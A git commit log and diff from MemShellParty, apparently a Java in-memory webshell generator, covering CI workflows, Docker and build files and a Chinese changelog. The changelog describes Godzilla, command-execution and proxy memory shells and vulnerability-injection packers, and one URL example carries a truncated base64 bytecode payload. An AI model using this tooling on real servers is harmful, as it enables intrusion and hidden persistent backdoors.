ReaJason 706e2b06d4 fix: tomcat6 and 7 listener not work 2024-12-04 03:14:08 +08:00
ReaJason e0345767d6 feat: support JDK8 ScriptEngine packer 2024-12-04 03:14:08 +08:00
ReaJason 7d697fe2ec test: fix case name error 2024-12-04 03:14:08 +08:00
ReaJason 14c62376d7 ci: update badge 2024-12-03 13:31:04 +00:00
ReaJason 065c111ad7 ci: fix badge not generate 2024-12-03 21:27:49 +08:00
ReaJason f3da4292bb test: enhance integration report 2024-12-03 21:19:21 +08:00
ReaJason ed51f01b29 docs: update README 2024-12-02 02:09:22 +08:00
ReaJason 81007167ff test: first show failed cases 2024-12-02 02:08:57 +08:00
ReaJason 288766eb9c ci: update badge 2024-12-01 17:14:27 +00:00
ReaJason b8d4c91a1f Merge branch 'master' of github.com:ReaJason/MemShellParty 2024-12-02 01:11:07 +08:00
ReaJason 46dff40932 test: support integration test summary 2024-12-02 01:10:51 +08:00
ReaJason f7bf419f31 fix: command shell use paramName 2024-12-02 01:08:22 +08:00
ReaJason 9fe244e9ca test: add tomcat6-jdk6 integration-test 2024-11-29 18:05:28 +08:00
ReaJason b0ef130e87 docs: add javadoc 2024-11-29 18:04:57 +08:00
ReaJason 714fa99c90 docs: add ByPassJdkModule extend java doc 2024-11-29 02:46:50 +08:00
ReaJason 1a12d426dc ci: update badge 2024-11-28 18:13:54 +00:00
ReaJason 00c36ab90d ci: merge jacoco failed 2024-11-29 02:11:22 +08:00
ReaJason 0e7aa6b0b0 test: fix error 2024-11-29 02:06:24 +08:00
ReaJason 96a00c9dcc fix: typo 2024-11-29 02:02:26 +08:00
ReaJason 886d808f31 feat: support bypassJdkModule and Jakarta 2024-11-29 02:02:04 +08:00
ReaJason b6c881c5cb ci: update badge 2024-11-26 17:18:23 +00:00
ReaJason 400a7bfab7 fix: godzilla manager test failed 2024-11-27 01:17:08 +08:00
ReaJason b78984b858 ci: update badge 2024-11-26 16:42:39 +00:00
ReaJason 21afe14ccd test: rm test.jsp req 2024-11-27 00:41:31 +08:00
ReaJason 7fa4dee03b feat: add godzilla manager and integration container test 2024-11-27 00:36:38 +08:00
ReaJason e718af7440 feat: support tomcat cmd shell and jsp packer 2024-11-27 00:35:35 +08:00
ReaJason a530d77351 test: rm integration 2024-11-27 00:32:21 +08:00
ReaJason 671aef548b docs: add coverage badge 2024-11-24 13:45:55 +08:00
ReaJason 9661eefc3e ci: update badge 2024-11-24 05:43:55 +00:00
ReaJason d620212eb0 ci: generate json file 2024-11-24 13:43:12 +08:00
ReaJason 7d3eb11be6 ci: update badge 2024-11-24 05:37:57 +00:00
ReaJason f0905d83a8 ci: upload badge info 2024-11-24 13:37:07 +08:00
ReaJason 65c9d5847d test: add jacoco 2024-11-24 13:32:05 +08:00
ReaJason bbeff2726d feat: add tomcat listener and valve 2024-11-24 13:31:38 +08:00
ReaJason a20f760cd5 test: io exception in ci 2024-11-24 05:00:48 +08:00
ReaJason 56d5410279 fix: compile error 2024-11-24 04:57:15 +08:00
ReaJason 0cc70940c3 ci: rename 2024-11-24 04:52:26 +08:00
ReaJason d148261a37 feat: add godzilla filter generate 2024-11-24 04:48:15 +08:00
ReaJason 2660076eda ci: add ci test 2024-11-24 04:46:38 +08:00
ReaJason 05b85670d5 MIT license 2024-11-24 04:45:10 +08:00
ReaJason b904fe0851 docs: update README 2024-09-01 15:28:42 +08:00
ReaJason c904f313e2 docs: update README 2024-09-01 15:22:01 +08:00
ReaJason 7a453faeb0 Initial commit 2024-09-01 13:17:19 +08:00
747 changed files with 14624 additions and 35467 deletions
@@ -9,7 +9,7 @@ if __name__ == '__main__':
args = parser.parse_args() args = parser.parse_args()
version = args.version version = args.version
with open("../../web/content/docs/changelog.mdx") as f: with open("../../CHANGELOG.md") as f:
lines = f.readlines() lines = f.readlines()
for line in lines: for line in lines:
if line.startswith(f"## [{version}]"): if line.startswith(f"## [{version}]"):
+3 -17
View File
@@ -12,10 +12,7 @@ on:
jobs: jobs:
build-jar: build-jar:
name: Build Jar name: Build Jar
strategy: runs-on: ubuntu-latest
matrix:
os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }}
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
@@ -28,11 +25,6 @@ jobs:
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v4
- name: Setup Node
uses: actions/setup-node@v6
with:
node-version: 22
- name: Setup Bun - name: Setup Bun
uses: oven-sh/setup-bun@v2 uses: oven-sh/setup-bun@v2
with: with:
@@ -42,16 +34,10 @@ jobs:
working-directory: web working-directory: web
run: bun install --frozen-lockfile && bun run build run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle (Linux) - name: Build Boot with Gradle
if: matrix.os == 'ubuntu-latest'
run: ./gradlew :boot:test :boot:bootjar run: ./gradlew :boot:test :boot:bootjar
- name: Build Boot with Gradle (Windows) - name: Upload Boot Jar
if: matrix.os == 'windows-latest'
run: ./gradlew.bat :boot:test :boot:bootjar
- name: Upload Boot Jar (Linux)
if: matrix.os == 'ubuntu-latest'
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v4
with: with:
name: boot name: boot
+1 -1
View File
@@ -33,7 +33,7 @@ jobs:
sleep 10 sleep 10
- name: Test with curl - name: Test with curl
run: | run: |
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
echo "Test successful!" echo "Test successful!"
else else
echo "Test failed!" echo "Test failed!"
@@ -27,7 +27,7 @@ jobs:
- middleware: "jbossas" - middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap" - middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly" - middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish" - middleware: "glassfish"
@@ -48,9 +48,7 @@ jobs:
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar" depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob" - middleware: "xxljob"
depend_tasks: "" depend_tasks: ""
- middleware: "struct2" runs-on: ubuntu-latest
depend_tasks: ":vul:vul-struct2:war"
runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }} name: ${{ matrix.cases.middleware }}
steps: steps:
- name: Checkout - name: Checkout
+4 -4
View File
@@ -25,7 +25,7 @@ jobs:
- middleware: "jbossas" - middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap" - middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly" - middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish" - middleware: "glassfish"
@@ -42,9 +42,9 @@ jobs:
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc" - middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar" depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "struct2" - middleware: "springwebflux"
depend_tasks: ":vul:vul-struct2:war" depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
runs-on: ubuntu-22.04 runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }} name: ${{ matrix.cases.middleware }}
steps: steps:
- name: Checkout - name: Checkout
-5
View File
@@ -47,11 +47,6 @@ jobs:
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v4
- name: Setup Node
uses: actions/setup-node@v6
with:
node-version: 22
- name: Setup Bun - name: Setup Bun
uses: oven-sh/setup-bun@v2 uses: oven-sh/setup-bun@v2
with: with:
@@ -1,47 +0,0 @@
name: Single IntegrationTest
on:
workflow_dispatch:
inputs:
depend_tasks:
description: '前置构建任务,如 :boot:jar :generator:jar'
required: false
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
type: string
test_class:
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
required: true
type: string
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
integration-test:
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
if: ${{ inputs.depend_tasks != '' }}
run: ./gradlew ${{ inputs.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
-3
View File
@@ -1,3 +0,0 @@
[submodule "libs"]
path = libs
url = https://github.com/ReaJason/javaweb-sources.git
+9 -153
View File
@@ -1,154 +1,10 @@
--- # Changelog
title: 更新日志
icon: ScrollText
---
All notable changes to this project will be documented in this file. All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v2.6.1](https://github.com/ReaJason/MemShellParty/releases/tag/v2.6.1) - 2026-03-30
### Fixed
1. (UI)修复 SpringWebMVC 生成 Controller 点击生成按钮无效(#140 Thanks @ekkoo-z By @ReaJason
2. 修复 WebSocket Proxy OOM#127 Thanks @xiaoxiaoranxxx
### Changed
1. 依赖更新
2. web docs 更新,支持复制 markdown 以及点击跳转 GitHub 等界面
**Full Changelog:** [v2.6.0...v2.6.1](https://github.com/ReaJason/MemShellParty/compare/v2.6.0...v2.6.1)
## [v2.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.6.0) - 2026-02-08
### Added
1. 为 ByteBuddyGenerator 添加 postProcessBytes 模板方法,支持生成后对 shell bytes 进行操作
2. 支持 Resin 2.1.17 Agent 内存马的生成
3. 同步更新 Suo5V2 v2.5.1 修复逻辑(#135 By @zema1
### Fixed
1. (UI)修复生成按钮防连点失效(By @ReaJason
2. 修复 ServletRenameVisitorWrapper 可能会导致部分 ByteBuddy Advisor 方法选中失效
3. 去除 JSP 脚本中 `Class<?>` 泛型,改为 `Class`,修复低版本 Servlet 容器解析失败
### Changed
1. Suo5V2 抽取 Loader 进行 Suo5V2 的核心代码加载,增加可维护性(#136
2. 依赖更新
**Full Changelog:** [v2.5.0...v2.6.0](https://github.com/ReaJason/MemShellParty/compare/v2.5.0...v2.6.0)
## [v2.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.5.0) - 2026-01-19
### Added
1. 添加 WebSocket BypassNginx 实现,使用方式见文档(By @ReaJason
2. 添加 WebSocket Proxy 实现,使用方式见文档(#126Thanks @xiaoxiaoranxxx
3. 添加 JSP/JSPX Unicode 打包方式(#116 Thanks @Ch1ngg
4. (UI)添加目标 JRE 版本的选择,防止部分情况下无法使用 JDK8 API(#131 Thanks @LTP414
### Fixed
1. 修复自定义内存马 Agent 型无法显式调用 Jakarta API#131 Thanks @LTP414
2. (UI)修复自定义内存马文件上传框中文字不居中
### Changed
1. 调整哥斯拉 WebSocket 马使用 **AES_RAW** 同时支持 GitHub 插件和特战版都可连接,使用方式见文档
2. 重构 MemShell 和 ProbeShell 集成测试用例,减少代码量
3. 支持 Spring 相关集成测试用例调用远程 docker 完成测试(目前所有集成测试用例可支持在远程 docker 执行)[customizing-docker-host-detection](https://java.testcontainers.org/features/configuration/#customizing-docker-host-detection)
4. 配置 Gradle 构建打包自动发布至 Maven Central(不需要额外去网页手动点 Publish)
5. 重命名仓库中 asserts -> assets
6. 依赖更新
**Full Changelog:** [v2.4.2...v2.5.0](https://github.com/ReaJason/MemShellParty/compare/v2.4.2...v2.5.0)
## [v2.4.2](https://github.com/ReaJason/MemShellParty/releases/tag/v2.4.2) - 2026-01-12
### Added
1. 新增对 WebSphere open-liberty 的内存马注入以及回显马(By @ReaJason
2. 支持 Filter 调序为第一个,解决部分鉴权 Filter 的连接干扰
3. 新增回显马可回显 Filter 列表
4. 添加 libs 子模块,存放部分中间件源码包方便进行代码编写和调试以及便于编写后续源码分析文档
5. 目标服务文档填写适配表格,展示各版本该如何选取对应内存马挂载类型,https://dev-party.mem.mk/ui/docs/server-intro
6. 添加文档 tree 结构,欢迎一起完善文档
### Fixed
1. 修复注入器上下文获取失败时不会正确打印 `context not found`
2. 修复文档页直接点击子菜单时 502 无法正确显示
3. 修复 web 前端项目无法在 Windows 环境正确编译(Thanks @kN6jq
4. 修复 Jetty 回显马,直接使用 Request 和 Callback 导致部分环境 ClassNotFound 问题(改用反射调用)
### Changed
1. 调整 testcontainer 获取 host 的处理,支持使用远程 docker 环境完成测试
2. 简化 WebLogic context 获取代码,改为从 JMX 中获取
3. 依赖更新
**Full Changelog:** [v2.4.1...v2.4.2](https://github.com/ReaJason/MemShellParty/compare/v2.4.1...v2.4.2)
## [v2.4.1](https://github.com/ReaJason/MemShellParty/releases/tag/v2.4.1) - 2025-12-16
### Fixed
1. 修复 Suo5v2、Godzilla、Command Listener 等无法中断请求的场景下未 close 响应流导致连接失败 (#120 By @ReaJason, @zema1 Thanks @whwlsfb)
2. 修复非调试模式下,throwable.printStackTrace 未被正确移除
3. 修复 responseBody 回显马如果业务优先触发 getOutputStream 或 getWriter 导致回显失败(#122 Thanks @localurk
4. 修复某软新版获取不到 context 导致 Tomcat 内存马无法注入的问题(Thanks @unam4
### Changed
1. generator 模块去除 bcel 依赖,简化 jackson 依赖
2. UI 添加 tooltip 简易描述方便使用,并优化部分布局细节
3. UI 迁移 radix-ui 至 base-ui
4. 文档更新、依赖更新
**Full Changelog:** [v2.4.0...v2.4.1](https://github.com/ReaJason/MemShellParty/compare/v2.4.0...v2.4.1)
## [v2.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.4.0) - 2025-12-10
### Added
1. 支持 Suo5 V2 版本内存马生成([#118](https://github.com/ReaJason/MemShellParty/issues/118) By @ReaJason Thanks @zema1
2. 支持 Struct2 Action 内存马与回显马生成
### Changed
1. ui 探测马生成去除 jar 相关打包方式
**Full Changelog:** [v2.3.0...v2.4.0](https://github.com/ReaJason/MemShellParty/compare/v2.3.0...v2.4.0)
## [v2.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.3.0) - 2025-12-08
### Added
1. 支持 Jetty Handler 与 Customizer 内存马生成(By @ReaJason
2. 支持 Jetty ee8~ee11 的回显马(无法从 post urlencoded 中获取 parameter,请从 url queryParam 或 header 传入参数)
3. **内存马生成支持回显模式对接回显马**
4. 支持 Tomcat Upgrade 内存马注入(仅 Tomcat8+ 可用)
5. 支持添加 lambda 类名后缀开关([#97](https://github.com/ReaJason/MemShellParty/issues/97)
6. 命令执行内存马与回显马支持自定义命令模板([#115](https://github.com/ReaJason/MemShellParty/issues/115) Thanks [@ViCrack](https://github.com/ViCrack)
7. 添加 ScriptEngine 绕过 Java 模块限制生成以及支持 H2URLPacker(方便生成 metabase 漏洞测试 payload)
8. web 模块添加 [fumadocs](https://fumadocs.dev/) 框架,支持文档编写
9. 回显马运行字节码时支持 base64 和 gzipBase64 字节码传入
10. 支持 GroovyTransformJar 打包方式(fastjson 漏洞注入 [#112](https://github.com/ReaJason/MemShellParty/issues/112) Thanks [@DongHuangT1](https://github.com/DongHuangT1)
11. 回显马参数名称支持默认随机生成
### Changed
1. 由于 jetty handler 依赖的类干扰,boot 容器从 jetty 改为 undertow
2. 注入器和回显马添加 ok 标识仅运行一次,降低代码运行时间
3. boot 接口添加 /api 前缀,web 添加 /ui 前缀
**Full Changelog:** [v2.2.0...v2.3.0](https://github.com/ReaJason/MemShellParty/compare/v2.2.0...v2.3.0)
## [v2.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.2.0) - 2025-11-20 ## [v2.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.2.0) - 2025-11-20
### Added ### Added
@@ -187,19 +43,19 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
3. 添加 JXPathSpringGzipPacker、JXPathSpringGzipPackerJDK17 打包方式(GeoServer 漏洞注入) 3. 添加 JXPathSpringGzipPacker、JXPathSpringGzipPackerJDK17 打包方式(GeoServer 漏洞注入)
4. 添加 Base64URLEncoded 打包方式(配合回显马进行小马拉大马测试) 4. 添加 Base64URLEncoded 打包方式(配合回显马进行小马拉大马测试)
5. 支持回显马在进行自定义字节码执行时去除 Java 魔数流量特征 5. 支持回显马在进行自定义字节码执行时去除 Java 魔数流量特征
```http ```http
/path/code?payload=yv66vgAAADIBVQEAJ29yZy9hcGFj... /path/code?payload=yv66vgAAADIBVQEAJ29yZy9hcGFj...
``` ```
改为只需要如下方式 改为只需要如下方式
```http ```http
/path/code?payload=IBVQEAJ29yZy9hcGFj... /path/code?payload=IBVQEAJ29yZy9hcGFj...
``` ```
### Fixed ### Fixed
1. 修复非调试模式下,构造方法中的 e.printStackTrace() 并没有被移除 1. 修复非调试模式下,构造方法中的 e.printStackTrace() 并没有被移除
2. 修复使用 Dockerfile 进行自定义构建时,自定义路由无法正常工作 2. 修复使用 Dockerfile 进行自定义构建时,自定义路由无法正常工作
3. 修复探测内存马中 Sleep 和 DNSLog 自定义类名失效(#89 Thanks @yinsel 3. 修复探测内存马中 Sleep 和 DNSLog 自定义类名失效(#89 Thanks @yinsel
4. 修复自定义内存马中,不会自动调用 listener 添加 getResponseFromRequest 实现代码和 valve 修改包名的逻辑(使用自定义内存马请参考:[如何使用自定义内存马功能](/docs/WriteCustomShell.md) 进行实现,否则会出现不可用的问题) 4. 修复自定义内存马中,不会自动调用 listener 添加 getResponseFromRequest 实现代码和 valve 修改包名的逻辑(使用自定义内存马请参考:[如何使用自定义内存马功能](/docs/WriteCustomShell.md) 进行实现,否则会出现不可用的问题)
5. 修复使用 SDK 时,Agent Packer 在 jar-with-dependencies(fatjar) 中会出现打包整个 jar 的问题 5. 修复使用 SDK 时,Agent Packer 在 jar-with-dependencies(fatjar) 中会出现打包整个 jar 的问题
6. 修复 Tomcat Listener 注入会使之前所有 Listener 失效(#93 6. 修复 Tomcat Listener 注入会使之前所有 Listener 失效(#93
@@ -274,7 +130,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
- 简化 Shell base64 方法代码 - 简化 Shell base64 方法代码
- Gradle 更新至 8.14.2 - Gradle 更新至 8.14.2
- 参考 [General Gradle Best Practices](https://docs.gradle.org/current/userguide/best_practices_general.html),将构建脚本改为 - 参考 [General Gradle Best Practices](https://docs.gradle.org/current/userguide/best_practices_general.html),将构建脚本改为
Kotlin DSL Kotlin DSL
**Full Changelog:** [v1.9.0...v1.10.0](https://github.com/ReaJason/MemShellParty/compare/v1.9.0...v1.10.0) **Full Changelog:** [v1.9.0...v1.10.0](https://github.com/ReaJason/MemShellParty/compare/v1.9.0...v1.10.0)
@@ -284,7 +140,7 @@ Kotlin DSL
- 支持 TongWeb8 内存马生成 by @ReaJason - 支持 TongWeb8 内存马生成 by @ReaJason
- 通过 context 获取 webAppClassLoader,不再依赖 Thread.currentThread().getContextClassLoader() - 通过 context 获取 webAppClassLoader,不再依赖 Thread.currentThread().getContextClassLoader()
为请求线程,参考:[任意类加载环境下注入内存马](https://reajason.eu.org/writing/whichclassloaderforshell/) 为请求线程,参考:[任意类加载环境下注入内存马](https://reajason.eu.org/writing/whichclassloaderforshell/)
- 全面支持使用 ASM 生成 Agent(仅需 92.5 KB),并且可选 JDKAttacher 与 JREAttacher - 全面支持使用 ASM 生成 Agent(仅需 92.5 KB),并且可选 JDKAttacher 与 JREAttacher
- 支持命令执行自定义实现类,RuntimeExec or ForkAndExec - 支持命令执行自定义实现类,RuntimeExec or ForkAndExec
+5 -5
View File
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun # https://hub.docker.com/r/oven/bun
FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend FROM --platform=$BUILDPLATFORM oven/bun:1.3.2 AS frontend
ARG ROUTE_ROOT_PATH="/" ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH="" ARG CONTEXT_PATH=""
@@ -14,9 +14,9 @@ ARG CONTEXT_PATH=""
WORKDIR /usr/src/web WORKDIR /usr/src/web
ENV VITE_APP_API_URL=${CONTEXT_PATH} \ ENV VITE_APP_API_URL=${CONTEXT_PATH} \
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/ COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
RUN bun install --frozen-lockfile RUN bun install --frozen-lockfile
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build RUN bun run build
# https://hub.docker.com/_/eclipse-temurin/tags?name=17. # https://hub.docker.com/_/eclipse-temurin/tags?name=17.
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend
WORKDIR /usr/src WORKDIR /usr/src
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
RUN ./gradlew :boot:bootjar -x test RUN ./gradlew :boot:bootjar -x test
FROM eclipse-temurin:17.0.17_10-jre-noble FROM eclipse-temurin:17.0.15_6-jre-noble
LABEL authors="ReaJason<[email protected]>" LABEL authors="ReaJason<[email protected]>"
+25 -8
View File
@@ -12,7 +12,7 @@
<div align="center"> <div align="center">
[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell) [![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk) [![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news)
</div> </div>
> [!WARNING] > [!WARNING]
@@ -25,10 +25,10 @@
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。 MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
<p align="center"> <p align="center">
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%"> <img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%"> <img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%"> <img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
<img src="assets/about_page.png" alt="about_page" width="24%"> <img src="asserts/about_page.png" alt="about_page" width="24%">
</p> </p>
## 主要特性 ## 主要特性
@@ -47,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工
### 使用前必看 ### 使用前必看
[Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty [Java 服务简介.md](./docs/ServerIntro.md),用于了解 MemShellParty
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。 中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为 探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
@@ -57,9 +57,9 @@ GlassFish,因为它使用的是 GlassFish 进行的二开)。
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门 > 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。 可访问(master 分支) [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。 对于正在开发的功能可访问(dev 分支) [https://dev-party.memshell.news](https://dev-party.memshell.news) 抢先体验。
### 本地部署(推荐) ### 本地部署(推荐)
@@ -78,6 +78,23 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
``` ```
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了
```bash
# 移除之前部署的
docker rm -f memshell-party
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
```
## User Guide
1. [适配情况](./docs/Compatibility.md)
2. [本地构建](./docs/BuildOnLocal.md)
3. [SDK 集成](./examples/memshell-party-maven-example)
4. [代码贡献](./CONTRIBUTING.md)
## Special Thanks ## Special Thanks
- [vulhub/java-chains](https://github.com/vulhub/java-chains) - [vulhub/java-chains](https://github.com/vulhub/java-chains)

Before

Width:  |  Height:  |  Size: 92 KiB

After

Width:  |  Height:  |  Size: 92 KiB

Before

Width:  |  Height:  |  Size: 136 KiB

After

Width:  |  Height:  |  Size: 136 KiB

Before

Width:  |  Height:  |  Size: 236 KiB

After

Width:  |  Height:  |  Size: 236 KiB

@@ -2,7 +2,7 @@ FROM python:3.12-slim
WORKDIR /app WORKDIR /app
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/ RUN pip install requests
COPY neoreg.py . COPY neoreg.py .

Before

Width:  |  Height:  |  Size: 268 KiB

After

Width:  |  Height:  |  Size: 268 KiB

Binary file not shown.
Binary file not shown.
+1 -1
View File
@@ -1,4 +1,4 @@
FROM eclipse-temurin:17.0.17_10-jre-noble FROM eclipse-temurin:17.0.14_7-jre-noble
LABEL authors="ReaJason<[email protected]>" LABEL authors="ReaJason<[email protected]>"
+2 -4
View File
@@ -1,6 +1,6 @@
plugins { plugins {
id("java") id("java")
id("org.springframework.boot") version "3.5.8" id("org.springframework.boot") version "3.5.7"
id("io.spring.dependency-management") version "1.1.7" id("io.spring.dependency-management") version "1.1.7"
} }
@@ -21,8 +21,6 @@ configurations {
} }
} }
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
dependencies { dependencies {
implementation(project(":generator")) { implementation(project(":generator")) {
exclude(group = "commons-logging", module = "commons-logging") exclude(group = "commons-logging", module = "commons-logging")
@@ -35,7 +33,7 @@ dependencies {
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat") exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
} }
implementation(libs.commons.lang3) implementation(libs.commons.lang3)
implementation("org.springframework.boot:spring-boot-starter-undertow") implementation("org.springframework.boot:spring-boot-starter-jetty")
compileOnly("org.projectlombok:lombok") compileOnly("org.projectlombok:lombok")
developmentOnly("org.springframework.boot:spring-boot-devtools") developmentOnly("org.springframework.boot:spring-boot-devtools")
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor") annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
@@ -17,7 +17,7 @@ import java.util.Base64;
@CrossOrigin("*") @CrossOrigin("*")
public class ClassNameParseController { public class ClassNameParseController {
@PostMapping("/api/className") @PostMapping("/className")
public String className(@RequestBody String classBase64) { public String className(@RequestBody String classBase64) {
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64))); return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
} }
@@ -17,7 +17,7 @@ import java.util.*;
* @since 2024/12/13 * @since 2024/12/13
*/ */
@RestController @RestController
@RequestMapping("/api/config") @RequestMapping("/config")
@CrossOrigin("*") @CrossOrigin("*")
public class ConfigController { public class ConfigController {
@@ -19,7 +19,7 @@ import java.util.Base64;
